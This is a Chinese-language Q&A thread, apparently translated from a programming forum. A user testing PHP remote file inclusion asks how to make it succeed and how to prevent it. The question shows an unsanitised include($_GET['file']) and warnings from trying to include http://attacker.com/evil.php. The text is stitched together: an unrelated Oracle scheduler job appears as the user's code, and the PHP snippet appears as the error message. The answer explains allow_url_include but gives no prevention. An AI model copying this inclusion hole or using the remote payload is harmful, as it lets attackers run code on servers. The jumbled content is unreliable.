我有一个问题。我正在测试远程文件包含注入的方式,并尝试使用PHP包含来自URL查询字符串的文件。但在这里我收到一些警告信息。我在下面解释我的代码。
BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name => 'oe.my_job1',
job_type => 'PLSQL_BLOCK',
job_action => 'BEGIN DBMS_STATS.GATHER_TABLE_STATS(''oe'',
''sales''); END;',
start_date => '15-JUL-08 1.00.00AM US/Pacific',
repeat_interval => 'FREQ=SECONDLY;INTERVAL=5',
end_date => '15-SEP-08 1.00.00AM US/Pacific',
enabled => TRUE,
comments => 'Gather table statistics');
END;
/
我收到以下消息。
<?php
$file = $_GET['file'];
include($file);
?>
我在这里调用远程文件Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(http://attacker.com/evil.php): failed to open stream: no suitable wrapper could be found in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(): Failed opening 'http://attacker.com/evil.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/test/remote.php on line 3
。在这里,我需要知道如何成功地包含它以及如何防止它。
答案 0 :(得分:4)
您的服务器已禁用allow_url_include
选项。这意味着您只能使用include()
访问本地文件,而不能访问外部网址。
通常,将include()
与远程.php
网址一起使用是没有意义的。当您从服务器请求.php
文件时,它不会返回源代码,它会执行脚本并返回输出。但是include()
需要获取PHP代码,它就像在包含脚本中一样执行。
如果您想获取远程数据,则应使用file_get_contents($file)
,而不是include($file)
。